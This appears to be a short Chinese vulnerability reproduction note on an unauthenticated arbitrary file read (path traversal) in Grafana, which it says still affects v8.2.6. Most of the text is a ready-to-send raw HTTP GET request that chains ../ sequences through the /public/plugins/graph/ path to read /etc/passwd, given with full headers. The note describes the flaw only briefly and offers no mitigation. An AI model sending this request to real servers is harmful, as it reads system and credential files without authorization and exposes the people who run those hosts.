Grafana 未授权任意文件读取漏洞

漏洞简介

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后，Grafana可以在网络浏览器里显示数据图表和警告。

Grafana 存在未授权任意文件读取漏洞，攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。

经测试，目前最新版本（Grafana v8.2.6）仍存在漏洞。

漏洞复现

抓包

GET /public/plugins/graph/../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://x.x.x.x:3000/login
Cookie: redirect_to=%2F
If-Modified-Since: Thu, 01 Jul 2021 12:47:07 GMT
Cache-Control: max-age=0